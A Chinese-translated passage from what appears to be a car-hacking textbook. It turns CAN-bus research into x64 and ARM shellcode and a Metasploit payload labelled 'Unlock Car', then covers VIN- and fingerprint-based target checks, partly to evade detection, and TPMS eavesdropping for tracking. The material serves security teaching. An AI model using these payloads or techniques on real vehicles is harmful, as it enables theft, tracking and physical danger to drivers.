要调用内核系统调用,请使用 syscall —— 而不是 int 0x80 —— 其中 %rax 是系统调用号,可以在 unistd_64.h 中找到。参数按以下顺序通过寄存器传递:%rdi%rsi%rdx%r10%r8%r9

注意,寄存器的顺序与传递参数给函数时有所不同。

清单 11-2 显示了我们存储在temp_shell.s 文件中的汇编代码。

--- temp_shell.S
section .text
global _start

_start:
                             ; s = socket(PF_CAN, SOCK_RAW, CAN_RAW);
  push 41                    ; Socket syscall from unistd_64.h
  pop rax
  push 29                    ; PF_CAN from socket.h
  pop rdi
  push 3                     ; SOCK_RAW from socket_type.h
  pop rsi
  push 1                     ; CAN_RAW from can.h
  pop rdx
  syscall
  mov r8, rax                ; s / File descriptor from socket
                             ; strcpy(ifr.ifr_name, "vcan0");
  sub rsp, 40                ;  struct ifreq is 40 bytes
  xor r9, r9                 ; temp register to hold interface name
  mov r9, 0x306e616376       ; vcan0
  push r9
  pop qword [rsp]
                             ; ioctl(s, SIOCGIFINDEX, &ifr);
  push 16                    ; ioctrl from unistd_64.h
  pop rax
  mov rdi, r8                ; s / File descriptor
  push 0x8933                ; SIOCGIFINDEX from ioctls.h
  pop rsi
  mov rdx, rsp               ; &ifr
  syscall
  xor r9, r9                 ; clear r9
  mov r9, [rsp+16]           ; ifr.ifr_ifindex
                             ; addr.can_family = AF_CAN;
  sub rsp, 16                ; sizeof sockaddr_can
  mov word [rsp], 29         ; AF_CAN == PF_CAN
                             ; addr.can_ifindex = ifr.ifr_ifindex;
  mov [rsp+4], r9
                             ; bind(s, (struct sockaddr *)&addr,
sizeof(addr));
  push 49                    ; bind from unistd_64.h
  pop rax
  mov rdi, r8                ; s /File descriptor
  mov rsi, rsp               ; &addr
  mov rdx, 16                ; sizeof(addr)
  syscall
  sub rsp, 16                ; sizeof can_frame
  mov word [rsp], 0x510      ; frame.can_id = 0x510;

  mov byte [rsp+4], 8        ;  frame.can_dlc = 8;

  mov byte [rsp+9], 0xFF     ;  frame.data[1] = 0xFF;
                             ; while(1)
loop:
                             ; write(s, &frame, sizeof(struct can_frame));
  push 1                     ; write from unistd_64.h
  pop rax
  mov rdi, r8                ; s / File descriptor
  mov rsi, rsp               ; &frame
  mov rdx, 16                ; sizeof can_frame
  syscall
                             ; usleep(500000);
  push 35                    ; nanosleep from unistd_64.h
  pop rax
  sub rsp, 16
  xor rsi, rsi
  mov [rsp], rsi             ; tv_sec
  mov dword [rsp+8], 500000  ; tv_nsec
  mov rdi, rsp
  syscall
  add rsp, 16
  jmp loop

清单 11-2:在 64 位汇编中发送 CAN ID 0x510 数据包

清单 11-2 中的代码与我们在 清单 11-1 中编写的 C 代码完全相同,只不过现在是用 64 位汇编语言编写的。

注意

我已经在代码中添加了注释,展示了原始 C 代码的每一行与相应汇编代码块之间的关系。

要编译和链接程序使其成为可执行文件,可以使用 nasmld,如下面所示:

$ nasm -f elf64 -o temp_shell2.o temp_shell.S
$ ld -o temp_shell2 temp_shell2.o
$ ls -l temp_shell2
-rwxrwxr-x 1 craig craig ➊1008 Jan  6 11:32 temp_shell2

目标头部的大小现在显示程序大约有 1008 字节 ➊,即超过 1KB,比编译后的 C 程序小得多。一旦我们去除链接步骤(ld)引入的 ELF 头部,代码将会更小。

将汇编代码转换为 Shellcode

现在你的程序大小更加合适,你可以使用一行 Bash 命令将目标文件转换为 shellcode,直接在命令行中完成,如 清单 11-3 所示。

$ for i in $(objdump -d temp_shell2.o -M intel |grep "^ " |cut -f2); do echo
-n '\x'$i; done;echo
\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x49\xb9\x76\x63\x61\x6e\x30\x00\x00\x00\x41\x51\x8f\x04\
x24\x6a\x10\x58\x4c\x89\xc7\x68\x33\x89\x00\x00\x5e\x48\x89\xe2\x0f\x05\x4d\
x31\xc9\x4c\x8b\x4c\x24\x10\x48\x83\xec\x10\x66\xc7\x04\x24\x1d\x00\x4c\x89\
x4c\x24\x04\x6a\x31\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\
x48\x83\xec\x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\
xff\x6a\x01\x58\x4c\x89\xc7\x48\x89\xe6\xba\x10\x00\x00\x00\x0f\x05\x6a\x23\
x58\x48\x83\xec\x10\x48\x31\xf6\x48\x89\x34\x24\xc7\x44\x24\x08\x20\xa1\x07\
x00\x48\x89\xe7\x0f\x05\x48\x83\xc4\x10\xeb\xcf

清单 11-3:将目标文件转换为 shellcode

这系列命令会遍历你的编译后的目标文件,并提取组成程序的十六进制字节,将其打印到屏幕上。输出的字节就是你的 shellcode。如果你计算打印出的字节数,你会发现这个 shellcode 是 168 字节——这就合适了。

去除 NULL 值

但我们还没完成。如果你查看示例 11-3 中的 shellcode,你会注意到仍然存在一些 NULL 值(\x00),我们需要将其去除。去除的方法之一是使用 Metasploit 提供的加载器,将字节包装起来,或者重写代码的部分以消除 NULL 值。

你还可以重写你的汇编代码,以便从最终的汇编中去除 NULL 值,通常方法是将 MOV 指令和包含 NULL 值的值替换为清除寄存器的指令,并添加另一条指令以增加适当的值。例如,像MOV RDI, 0x03这样的指令会转换为包含许多前导 NULL 值的十六进制数,直到 3。如果要绕过这一点,你可以首先使用XOR RDI, RDI将 RDI 清零,这样 RDI 就会变成 NULL,然后通过INC RDI指令增加 RDI 三次。在某些地方,你可能需要发挥创造力。

一旦你完成了去除这些 NULL 值的修改,你可以将 shellcode 转换为可以嵌入字符串缓冲区的代码。我不会展示修改后的汇编代码,因为它不太容易读取,但新的 shellcode 看起来是这样的:

\x6a\x29\x58\x6a\x1d\x5f\x6a\x03\x5e\x6a\x01\x5a\x0f\x05\x49\x89\xc0\x48\x83\
xec\x28\x4d\x31\xc9\x41\xb9\x30\x00\x00\x00\x49\xc1\xe1\x20\x49\x81\xc1\x76\
x63\x61\x6e\x41\x51\x8f\x04\x24\x6a\x10\x58\x4c\x89\xc7\x41\xb9\x11\x11\x33\
x89\x49\xc1\xe9\x10\x41\x51\x5e\x48\x89\xe2\x0f\x05\x4d\x31\xc9\x4c\x8b\x4c\
x24\x10\x48\x83\xec\x10\xc6\x04\x24\x1d\x4c\x89\x4c\x24\x04\x6a\x31\x58\x4c\
x89\xc7\x48\x89\xe6\xba\x11\x11\x11\x10\x48\xc1\xea\x18\x0f\x05\x48\x83\xec\
x10\x66\xc7\x04\x24\x10\x05\xc6\x44\x24\x04\x08\xc6\x44\x24\x09\xff\x6a\x01\
x58\x4c\x89\xc7\x48\x89\xe6\x0f\x05\x6a\x23\x58\x48\x83\xec\x10\x48\x31\xf6\
x48\x89\x34\x24\xc7\x44\x24\x08\x00\x65\xcd\x1d\x48\x89\xe7\x0f\x05\x48\x83\
xc4\x10\xeb\xd4

创建 Metasploit 载荷

示例 11-4 是一个使用我们 shellcode 的 Metasploit 载荷模板。将这个载荷保存在modules/payloads/singles/linux/armle/目录下,并给它起一个类似于你将要执行的操作的名字,比如flood_temp.rb。示例 11-4 中的示例载荷是为一个在 ARM Linux 上运行、使用以太网总线的车载娱乐系统设计的。这个 shellcode 的功能是解锁汽车门,而不是修改温度。以下代码是标准的载荷结构,唯一不同的是我们将payload变量设置为所需的车辆 shellcode。

   Require 'msf/core'

   module Metasploit3
      include Msf::Payload::Single
      include Msf::Payload::Linux

     def initialize(info = {})
       super(merge_info(info,
         'Name'          => 'Unlock Car',
         'Description'   => 'Unlocks the Driver Car Door over Ethernet',
         'Author'        => 'Craig Smith',
         'License'       => MSF_LICENSE,
         'Platform'      => 'linux',
         'Arch'          => ARCH_ARMLE))
      end
      def generate_stage(opts={})

➊      payload = "\x02\x00\xa0\xe3\x02\x10\xa0\xe3\x11\x20\xa0\xe3\x07\x00\x2d\
   xe9\x01\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\x00\x60\
   xa0\xe1\x21\x13\xa0\xe3\x4e\x18\x81\xe2\x02\x10\x81\xe2\xff\x24\xa0\xe3\x45\
   x28\x82\xe2\x2a\x2b\x82\xe2\xc0\x20\x82\xe2\x06\x00\x2d\xe9\x0d\x10\xa0\xe1\
   x10\x20\xa0\xe3\x07\x00\x2d\xe9\x03\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\
   xef\x14\xd0\x8d\xe2\x12\x13\xa0\xe3\x02\x18\x81\xe2\x02\x28\xa0\xe3\x00\x30\
   xa0\xe3\x0e\x00\x2d\xe9\x0d\x10\xa0\xe1\x0c\x20\xa0\xe3\x06\x00\xa0\xe1\x07\
   x00\x2d\xe9\x09\x00\xa0\xe3\x0d\x10\xa0\xe1\x66\x00\x90\xef\x0c\xd0\x8d\xe2\
   x00\x00\xa0\xe3\x1e\xff\x2f\xe1"
      end
   end

示例 11-4:使用我们的 shellcode 的 Metasploit 载荷模板

在示例 11-4 中的payload变量 ➊ 会被转换成以下 ARM 汇编代码:

      /* Grab a socket handler for UDP */
      mov     %r0, $2 /* AF_INET */
      mov     %r1, $2 /* SOCK_DRAM */
      mov     %r2, $17        /* UDP */
      push    {%r0, %r1, %r2}
      mov     %r0, $1 /* socket */
      mov     %r1, %sp
      svc     0x00900066
      add     %sp, %sp, $12

      /* Save socket handler to %r6 */
      mov     %r6, %r0

      /* Connect to socket */
      mov     %r1, $0x84000000
      add     %r1, $0x4e0000
      add     %r1, $2         /* 20100 & AF_INET */
      mov     %r2, $0xff000000
      add     %r2, $0x450000
      add     %r2, $0xa800
      add     %r2, $0xc0 /* 192.168.69.255 */
      push    {%r1, %r2}
      mov     %r1, %sp
      mov     %r2, $16        /* sizeof socketaddr_in */
      push    {%r0, %r1, %r2}
      mov     %r0, $3 /* connect */
      mov     %r1, %sp
      svc     0x00900066
      add     %sp, %sp, $20

      /* CAN Packet */
      /* 0000 0248 0000 0200 0000 0000 */
      mov     %r1, $0x48000000  /* Signal */
      add     %r1, $0x020000
      mov     %r2, $0x00020000  /* 1st 4 bytes */
      mov     %r3, $0x00000000  /* 2nd 4 bytes */
      push    {%r1, %r2, %r3}
      mov     %r1, %sp
      mov     %r2, $12        /* size of pkt */

      /* Send CAN Packet over UDP */
      mov     %r0, %r6
      push    {%r0, %r1, %r2}
      mov     %r0, $9 /* send */
      mov     %r1, %sp
      svc     0x00900066
      add     %sp, %sp, $12

      /* Return from main - Only for testing, remove for exploit */
      mov     %r0, $0
      bx      lr

这段代码类似于我们在示例 11-3 中创建的 shellcode,区别在于它是为 ARM 架构构建的,而不是 x64 Intel 架构,并且它通过以太网工作,而不是直接与 CAN 驱动程序通信。当然,如果车载娱乐中心使用的是 CAN 驱动程序而非以太网驱动程序,你就需要编写代码来操作 CAN 驱动程序,而不是网络。

一旦你准备好负载,你可以将其添加到现有 Metasploit 漏洞利用库中,用于攻击车辆的信息娱乐中心。因为 Metasploit 会解析负载文件,你可以简单地选择它作为选项,针对任何目标信息娱乐单元进行攻击。如果发现漏洞,负载将运行,并执行你模仿的封包操作,如解锁车门、启动车辆等。

注意

你可以用汇编语言编写武器化程序,并将其作为漏洞利用工具,而不是通过 Metasploit,但我建议使用 Metasploit。它有大量基于车辆的负载和漏洞利用工具,因此,值得花时间将你的代码转换为 Metasploit 兼容的格式。

确定目标车辆品牌

到目前为止,你已经找到了一个信息娱乐单元中的漏洞,并且你已经准备好了 CAN 总线封包负载。如果你的目标是仅对一种类型的车辆进行安全测试,那就没问题。但如果你打算在所有安装了特定信息娱乐或远程信息处理系统的车辆上使用你的负载,那么你还有一些工作要做;这些系统由不同的制造商安装,且 CAN 总线网络在不同制造商之间甚至不同车型之间有所不同。

为了在多种车辆类型上使用此漏洞,你需要在发送封包之前检测出你的 shellcode 正在执行的车辆品牌。

警告

未能检测到车辆的品牌可能会导致意外结果,并且可能非常危险!例如,在一种品牌的车辆上解锁车门的封包可能会导致另一辆车的刹车失灵。你无法确定你的漏洞在哪里运行,因此一定要验证车辆的品牌。

确定车辆品牌类似于确定目标主机正在运行哪个操作系统版本,就像我们在《确定更新文件类型》一章中所做的那样,在第 160 页中。你可能可以通过在你的 shellcode 中添加扫描 RAM 的功能,在信息娱乐单元的内存空间中找到这些信息。否则,有两种方法可以通过 CAN 总线确定你的代码正在运行的车辆类型:交互式探测和被动 CAN 总线指纹识别。

交互式探测

交互式探测方法涉及使用 ISO-TP 封包查询包含 VIN 的 PID。如果我们能够访问 VIN 并解码,它将告诉我们目标车辆的品牌和型号。

查询车辆识别码(VIN)

请回忆一下在“通过 ISO-TP 和 CAN 发送数据”中提到的内容,在第 55 页你使用 OBD-II 模式 2 的 PID 9 协议来查询 VIN。这个协议使用 ISO-TP 多包标准,在 Shell 代码中实现可能会有些繁琐。然而,你可以只使用 ISO-TP 标准中需要的部分,而不必完整实现它。例如,由于 ISO-TP 作为正常的 CAN 流量运行,你可以使用 ID 为 0x7DF 的数据包发送 Shell 代码,数据包负载为 0x02 0x09 0x02;然后你可以接收 ID 为 0x7E8 的正常 CAN 流量。第一个接收到的数据包将是多部分数据包的一部分,后续会接收剩余的数据包。第一个数据包包含最重要的信息,可能是你区分车辆所需的全部信息。

注意

你可以自己组装多部分数据包,然后实现一个完整的 VIN 解码器,但这样做可能效率不高。无论是重新组装完整的 VIN,还是只使用 VIN 的一部分,自己解码 VIN 都会更好。

解码 VIN

VIN 的布局相当简单。前 3 个字符,被称为世界制造商标识符(WMI)代码,表示车辆的制造商。WMI 代码中的第一个字符决定了制造地区。接下来的两个字符是制造商特定的。(由于列表过长,无法在此列出,但你可以通过简单的在线搜索找到 WMI 代码的列表。)例如,在第四章(见表 4-4 在第 57 页)中,我们的 VIN 是 1G1ZT53826F109149,这给出了 WMI 为 1G1。根据 WMI 代码,这表明该车的制造商是雪佛兰。

VIN 的下 6 个字节构成了车辆描述部分(VDS)。VDS 中的前 2 个字节——即 VIN 的第 4 和第 5 字节——告诉我们车辆的型号和其他规格信息,比如车辆有多少个门、发动机的大小等等。例如,在 VIN 1G1ZT53826F109149 中,VDS 是 ZT5382,其中ZT给出了车型。通过快速在线搜索,我们得知这是一辆雪佛兰 Malibu。(VDS 的详细信息会根据车辆和制造商的不同而有所变化。)

如果你需要知道车辆的制造年份,你将需要抓取更多的数据包,因为年份存储在第 10 字节中。这个字节不能直接转换,你需要使用一个表格来确定年份(见表 11-1)。

表 11-1: 确定制造年份

字符 年份 字符 年份 字符 年份 字符 年份
A 1980 L 1990 Y 2000 A 2010
B 1981 M 1991 1 2001 B 2011
C 1982 N 1992 2 2002 C 2012
D 1983 P 1993 3 2003 D 2013
E 1984 R 1994 4 2004 E 2014
F 1985 W 1995 5 2005 F 2015
G 1986 T 1996 6 2006 G 2016
H 1987 V 1997 7 2007 H 2017
J 1988 W 1998 8 2008 J 2018
K 1989 X 1999 9 2009 K 2019

对于利用漏洞来说,知道年份并不像知道你的代码是否能在目标车辆上运行那么重要,但如果你的漏洞依赖于特定的品牌、型号和年份,你需要执行这一步。例如,如果你知道你所针对的车载信息娱乐系统既安装在本田思域(Honda Civic)也安装在庞蒂亚克阿兹特克(Pontiac Aztek)上,你可以通过检查 VIN 来确认目标车辆是否符合要求。本田是日本制造的,而庞蒂亚克是北美制造的,因此 WMI 的第一个字节分别需要是J1

注意

如果你所针对的车辆上的无线电单元安装在其他你不了解的车辆上,你的有效载荷仍然能够在其他北美或日本制造的车辆上工作。

一旦你知道了运行平台,你可以选择执行正确的有效载荷,如果你找到了合适的载体,或者优雅地退出。

交互式探测的检测风险

使用交互式探测来确定目标车辆的品牌的优势在于,这种方法适用于任何品牌或型号的汽车。每辆车都有一个 VIN 码,可以解码得到所需的信息,并且你不需要预先了解平台的 CAN 数据包就能进行 VIN 查询。然而,这种方法确实需要你传输查询到 CAN 总线上,这意味着它是可检测的,你可能会在触发有效载荷之前被发现。(此外,我们的示例使用了廉价的黑客技术来避免正确处理 ISO-TP,这可能导致错误。)

被动 CAN 总线指纹识别

如果你担心在使用有效载荷之前被检测到,应该避免任何形式的主动探测。被动 CAN 总线指纹识别更不容易被检测到,因此如果你发现你所针对的车型不被你的漏洞支持,你可以优雅地退出,而不会产生任何网络流量,从而降低被检测到的风险。被动 CAN 总线指纹识别包括监控网络流量,收集特定车型所独有的信息,然后将这些信息与已知指纹进行匹配。这一研究领域相对较新,截至本文写作时,唯一可用的收集和检测总线指纹的工具是 Open Garages 发布的工具。

被动 CAN 总线指纹识别的概念来源于 IPv4 的被动操作系统指纹识别,例如 p0f 工具所使用的技术。在被动 IPv4 指纹识别中,数据包头部的细节,例如窗口大小和 TTL 值,可以用来识别创建数据包的操作系统。通过监控网络流量,并了解哪些操作系统默认设置了数据包头部中的哪些值,可以在不通过网络传输的情况下确定数据包的来源操作系统。

我们可以使用类似的方法论来处理 CAN 数据包。CAN 的唯一标识符如下:

• 动态大小(否则设置为 8 字节)

• 信号间的间隔

• 填充值(0x00, 0xFF, 0xAA 等等)

• 使用的信号

因为不同的汽车品牌和型号使用不同的信号,独特的信号 ID 可以揭示正在检查的车辆类型。即使信号 ID 相同,时序间隔也可能是独特的。每个 CAN 数据包都有一个 DLC 字段,用来定义数据的长度,尽管一些制造商默认将其设置为 8,并通过填充数据来确保始终使用 8 个字节。制造商会使用不同的值来填充数据,因此这也可以作为识别品牌的指标。

CAN 的指纹

被动指纹识别的 Open Garages 工具叫做 CAN 的指纹(c0f),并可以在 github.com/zombieCraig/c0f/ 免费获得。c0f 会采样大量 CAN 总线数据包,并创建一个可以稍后识别和存储的指纹。c0f 的指纹——一个可供 JSON 消费的对象——可能如下所示:

{"Make": "Unknown", "Model": "Unknown", "Year": "Unknown", "Trim": "Unknown",
"Dynamic": "true", "Common": [ { "ID": "166" },{ "ID": "158" },{ "ID": "161" },
{ "ID": "191" },{ "ID": "18E" },{ "ID": "133" },{ "ID": "136" },{ "ID": "13A" },
{ "ID": "13F" },{ "ID": "164" },{ "ID": "17C" },{ "ID": "183" },{ "ID": "143" },
{ "ID": "095" } ], "MainID": "143", "MainInterval": "0.009998683195847732"}

五个字段构成了指纹:MakeModelYearTrimDynamic。如果数据库中没有这些值,前四个值——MakeModelYearTrim——将都列为 Unknown。表格 11-2 列出了独特于车辆的已识别属性。

表格 11-2: 被动指纹识别的车辆属性

属性 值类型 描述
动态 二进制值 如果 DLC 有动态长度,则设置为 true
填充 十六进制值 如果使用填充,则此属性将设置为用于填充的字节。此示例没有填充,因此未包括此属性。
常见 ID 数组 基于总线上频率出现的常见信号 ID。
主 ID 十六进制 ID 基于出现频率和间隔的最常见信号 ID。
主间隔 浮动值 总线中最常见的 ID(MainID)重复的最短间隔时间。
使用 c0f

许多以间隔触发的 CAN 信号将在日志文件中以相同的次数出现,且出现之间的间隔相似。c0f 将根据出现次数将信号分组。

为了更好地了解 c0f 如何确定常见和主 ID,请运行 c0f 并使用 --print-stats 选项,如清单 11-5 所示。

   $ bundle exec bin/c0f --logfile test/sample-can.log --print-stats
     Loading Packets...   6158/6158  |*******************************************
   *******|  0:00
   Packet Count (Sample Size): 6158
   Dynamic bus: true
   [Packet Stats]
    166 [4] interval 0.010000110772939828 count 326
    158 [8] interval 0.009999947181114783 count 326
    161 [8] interval 0.009999917103694035 count 326
    191 [7] interval 0.009999932509202223 count 326
    18E [3] interval 0.010003759677593524 count 326
    133 [5] interval 0.0099989076761099 count 326
    136 [8] interval 0.009998913544874925 count 326
    13A [8] interval 0.009998914278470553 count 326
    13F [8] interval 0.009998904741727389 count 326
    164 [8] interval 0.009998898872962365 count 326
    17C [8] interval 0.009998895204984225 count 326
    183 [8] interval 0.010000821627103366 count 326
➊  039 [2] interval 0.015191149488787786 count 215
➋  143 [4] interval 0.009998683195847732 count 326
    095 [8] interval 0.010001396766075721 count 326
    1CF [6] interval 0.01999976016857006 count 163
    1DC [4] interval 0.019999777829205548 count 163
    320 [3] interval 0.10000315308570862 count 33
    324 [8] interval 0.10000380873680115 count 33
    37C [8] interval 0.09999540448188782 count 33
    1A4 [8] interval 0.01999967775227111 count 163
    1AA [8] interval 0.019999142759334967 count 162
    1B0 [7] interval 0.019999167933967544 count 162
    1D0 [8] interval 0.01999911758470239 count 162
    294 [8] interval 0.039998024702072144 count 81
    21E [7] interval 0.039998024702072144 count 81
    309 [8] interval 0.09999731183052063 count 33
    333 [7] interval 0.10000338862019201 count 32
    305 [2] interval 0.1043075958887736 count 31
    40C [8] interval 0.2999687910079956 count 11
    454 [3] interval 0.2999933958053589 count 11
    428 [7] interval 0.3000006914138794 count 11
    405 [8] interval 0.3000005006790161 count 11
    5A1 [8] interval 1.00019109249115 count 3

清单 11-5:运行 c0f 并使用 --print-stats 选项

常见 ID 是信号的组合,这些信号出现了 326 次(出现次数最多)。主 ID 是具有最短平均间隔的常见 ID——在这种情况下,信号 0x143,间隔为 0.009998 毫秒 ➋。

c0f 工具将这些指纹保存在数据库中,这样你就可以被动地识别总线,但为了 shellcode 开发的目的,我们可以仅使用主 ID 和主间隔,快速判断我们是否在预期的目标上。以 c0f 统计输出中显示的结果为目标,我们将监听 CAN 套接字上的信号 0x143,并知道最长等待时间为 0.009998 毫秒,如果我们没有看到 ID 为 0x143 的信号,就会中止。(只要确保在检查从开始嗅探总线以来已经过去的时间时,使用高精度的时间方法,例如clock_gettime。)通过确保你也识别了所有常见 ID,你可以获得更精细的识别。

设计出不受 c0f 支持的指纹是可能的。例如,注意在 c0f 统计输出中,信号 ID 0x039 出现了 215 次 ➊。与其他常见数据包相比,这是一个奇怪的比例。常见数据包大约每 5%的时间出现一次,但 0x039 大约每 3.5%的时间出现一次,并且是唯一具有该比例的信号。你的 shellcode 可以收集一个常见的 ID,并计算 0x039 出现的比例,看看它是否匹配。这可能只是基于记录时当前车辆条件的偶然情况,但可能值得调查。应该增加样本量,并使用多次运行来验证发现的结果,然后再将检测嵌入到你的 shellcode 中。

注意

c0f 并不是唯一能快速检测你所在车辆类型的方式;其输出可以用于更多创造性的方法来在不传输数据包的情况下识别你的目标系统。未来可能会出现能够躲避 c0f 的系统,或者我们可能会发现一种更新、更高效的方式来被动识别目标车辆。

负责任的漏洞利用

你现在已经知道如何识别你的漏洞是否正在目标上运行,甚至如何在不发送任何数据包的情况下进行检查。你不想用虚假的信号淹没总线,因为这会导致网络瘫痪,而在错误的车辆上发送错误信号可能会带来未知的影响。

在共享漏洞代码时,考虑添加一个虚假的身份验证程序或完整的 VIN 检查,以防止有人随意启动你的漏洞。这至少会迫使脚本小子了解足够的代码,以便修改它以适应正确的车辆。在攻击基于间隔的 CAN 信号时,正确的做法是监听你想要修改的 CAN ID,当你通过读取请求接收到它时,只修改你想要更改的字节,并立即将其发送回去。这将防止泛洪,立即覆盖有效信号,并保留信号中未被攻击目标的其他属性。

安全开发人员需要访问漏洞利用工具,以测试其防护措施的强度。攻击和防御团队的新想法需要共享,但必须负责任地进行共享。

总结

在本章中,你学习了如何从研究中构建有效的载荷。你将概念验证的 C 代码转换为汇编语言中的载荷,再将汇编语言转换为可以与 Metasploit 一起使用的 shellcode,使得你的载荷更加模块化。你还学习了确保你的载荷不会意外地在意外车辆上运行的安全方法,通过 VIN 解码和被动 CAN 总线识别技术来实现。你甚至学习了一些防止脚本小子窃取你的代码并将其注入随机车辆的方法。

第十二章:攻击无线系统与 SDR

image

在本章中,我们将深入探讨嵌入式无线系统,首先从向 ECU 传输简单无线信号的嵌入式系统开始。嵌入式无线系统往往是容易被攻击的目标。它们通常仅依赖短程信号作为唯一的安全防护措施,且由于这些设备体积小巧,功能单一,通常 ECU 没有检查信号外的任何数据,仅通过信号和 CRC 算法进行验证。这类系统通常是学习的好起点,尤其是在学习更先进的系统之前,例如无钥匙进入系统,我们将在本章后半部分研究如何破解这类系统。

我们将探讨解锁和启动车辆的技术,同时了解无钥匙进入系统的无线部分以及它们使用的加密技术。特别地,我们将重点关注 TPMS 和无线钥匙系统。我们会考虑可能的黑客攻击,包括 TPMS 如何被用来追踪车辆、触发事件、超载 ECU 或欺骗 ECU 以导致异常行为。

无线系统与 SDR

首先,简要介绍一下发送和接收无线信号的基础知识。为了进行本章讨论的研究,你需要一个 SDR,这是一个可编程无线电设备,价格从约 20 美元的 RTL-SDR(www.rtl-sdr.com/)到超过 2,000 美元的 USRP 设备(来自 Ettus Research,* www.ettus.com/*)。HackRF One 是 Great Scott Gadgets 推出的一个非常实用的选项,价格大约为 300 美元,但你很可能需要两个,以便能够同时进行发送和接收。

SDR 设备之间一个直接影响成本的重要区别是采样率,即每秒传输的音频样本数量。不出所料,采样率越大,你能够同时观察到的带宽就越大——但 SDR 设备也就越贵,且处理器需要更快。例如,RTL-SDR 的最大传输速率约为 3Mbps,HackRF 为 20Mbps,USRP 为 100Mbps。作为参考,20Mbps 可以让你同时采样整个 FM 频谱。SDR 设备与 GNU Radio Companion (GRC)配合得很好,GNU Radio 是来自 GNURadio 的免费工具(gnuradio.org/),你可以用它来查看、过滤和解调编码信号。你可以使用 GNU Radio 来过滤出所需的信号,识别所使用的调制类型(见下节),并应用正确的解调器来识别比特流。GNU Radio 可以帮助你从无线信号直接获取你能识别和处理的数据。

注意

欲了解如何将 SDR 设备与 GNU Radio 结合使用,请参阅 Great Scott Gadgets 的教程,访问 greatscottgadgets.com/sdr/

信号调制

要应用正确的解调器,首先需要能够识别信号使用的调制类型。信号调制是将二进制数据通过无线信号表示的方式,它在你需要区分数字 1 和数字 0 时发挥作用。常见的两种数字信号调制方式是幅度键控(ASK)和频移键控(FSK)。

幅度键控(ASK)

当使用 ASK 调制时,位是通过信号的幅度来指定的。图 12-1 显示了通过载波波形传输的信号图。载波波形是载波的幅度,当没有波形时,这是信号的静止状态。当载波线在特定时间内处于高位,表示为一个波形,这就是二进制 1。当载波线处于静止状态且持续时间较短时,这就是二进制 0。

image

图 12-1:ASK 调制

ASK 调制也称为开关键控(OOK),通常使用开始和停止位。开始和停止位是常用的方式,用于区分消息的开始和结束位置。考虑到开始和停止位,图 12-1 可以表示九个比特:0-1-1-0-1-1-0-1-0。

频移键控(FSK)

与 ASK 不同,FSK 总是有一个载波信号,但这个信号是通过它变化的速度—即频率来测量的(见图 12-2)。

image

图 12-2:FSK 调制

在 FSK 中,高频信号表示 0,低频信号表示 1。当载波波形接近时,表示 1;当它们相距较远时,表示 0。图 12-2 中的位可能是 1-0-0-1-0-0-1-0-1。

利用 TPMS 进行黑客攻击

TPMS 是一个简单的设备,安装在轮胎内部,向 ECU 发送轮胎压力、轮胎转速、温度数据,并提供低传感器电池等特定情况的警告(见图 12-3)。然后,这些数据通过仪表盘、数字显示屏或警告灯显示给驾驶员。2000 年秋季,美国通过了《交通召回增强、问责和文档化(TREAD)法案》,要求所有新车安装 TPMS 系统,以通过提醒驾驶员轮胎气压不足来提高道路安全性。得益于 TREAD,TPMS 得到了广泛应用,成为一个常见的攻击目标。

image

图 12-3:两个 TPMS 传感器

TPMS 设备安装在车轮内部,并通过无线信号传输到轮毂,从而使其信号部分受到车身的屏蔽,以防止过多信号泄漏。大多数 TPMS 系统使用无线电与 ECU 进行通信。信号频率因设备而异,但通常在 315 MHz 或 433 MHz UHF 范围内运行,并使用 ASK 或 FSK 调制。某些 TPMS 系统使用蓝牙技术,从攻击者的角度来看,蓝牙有其优缺点:蓝牙的默认传输范围较大,但蓝牙协议也能实现安全通信,使其更难以被拦截或连接。在本章中,我将重点讨论使用无线电信号的 TPMS 系统。

使用无线电接收器进行窃听

大多数关于 TPMS 安全性的公共研究都总结在《汽车无线网络的安全与隐私漏洞:一种胎压监测系统案例研究》一文中,该研究由南卡罗来纳大学和罗格斯大学的研究人员进行。^(1) 论文展示了研究人员如何使用相对低成本的 USRP 接收器($700 到$2,000)在 40 米远的地方窃听 TPMS 系统的无线信号。(如前所述,您也可以使用不同的 SDR 设备。)一旦信号被捕获,就可以使用 GNU Radio 进行过滤和解调。

TPMS 系统的信号非常弱,因此不会泄漏到距离车辆太远的地方。为了克服 TPMS 系统的低泄漏特性,您可以向无线电接收器添加一个低噪声放大器(LNA),以增加监听范围,这应该能够让您从路边或与目标车辆并行行驶的车辆中捕获到 TPMS 信号。您还可以使用定向天线来增强信号范围。

TPMS 传感器每 60 到 90 秒才会传输一次信息,通常传感器在车辆以时速 25 英里(40 公里)或更高行驶时才需要发送信息。然而,许多传感器即使车辆处于空闲状态时也会传输,某些传感器甚至在车辆熄火时也会传输。在对一辆停放的、已关闭电源的车辆进行审计时,请确保发送一个唤醒信号,以触发 TPMS 的响应。

了解目标 TPMS 传感器工作原理的最佳方法是,在车辆完全熄火的情况下监听数据包。没有唤醒信号时,您很可能不会看到任何通信,但某些设备即使在低频率下也可能进行传输。接下来,启动车辆并让其处于空闲状态。ECU 应该至少在启动时提示轮胎响应,但更有可能的是,它会定期轮询。

一旦你看到 TPMS 信号,你需要解码它才能理解其内容。幸运的是,研究员 Jared Boone 已经通过一套工具简化了这一过程,这些工具可以帮助捕获并解码 TPMS 数据包。你可以在github.com/jboone/gr-tpms/找到他的gr-tpms工具的源代码,tpms工具的源代码则在github.com/jboone/tpms/。使用这些工具捕获并解码 TPMS 数据包后,你可以分析捕获的数据,找出代表系统唯一 ID 的位以及其他字段。

TPMS 数据包

TPMS 数据包通常包含相同的信息,但不同型号之间会有所不同。图 12-4 展示了一个 TPMS 数据包的示例。

image

图 12-4:TPMS 数据包示例

SensorID 是一个 28 位或 32 位的数字,每个传感器都是唯一的,并且与 ECU(电子控制单元)注册。如果你的目标只是为跟踪或触发事件而识别目标,SensorID 可能是你最关心的数据包部分。压力和温度字段包含来自 TPMS 设备的读数。Flags 字段可以包含额外的元数据,例如传感器电池电量低的警告。

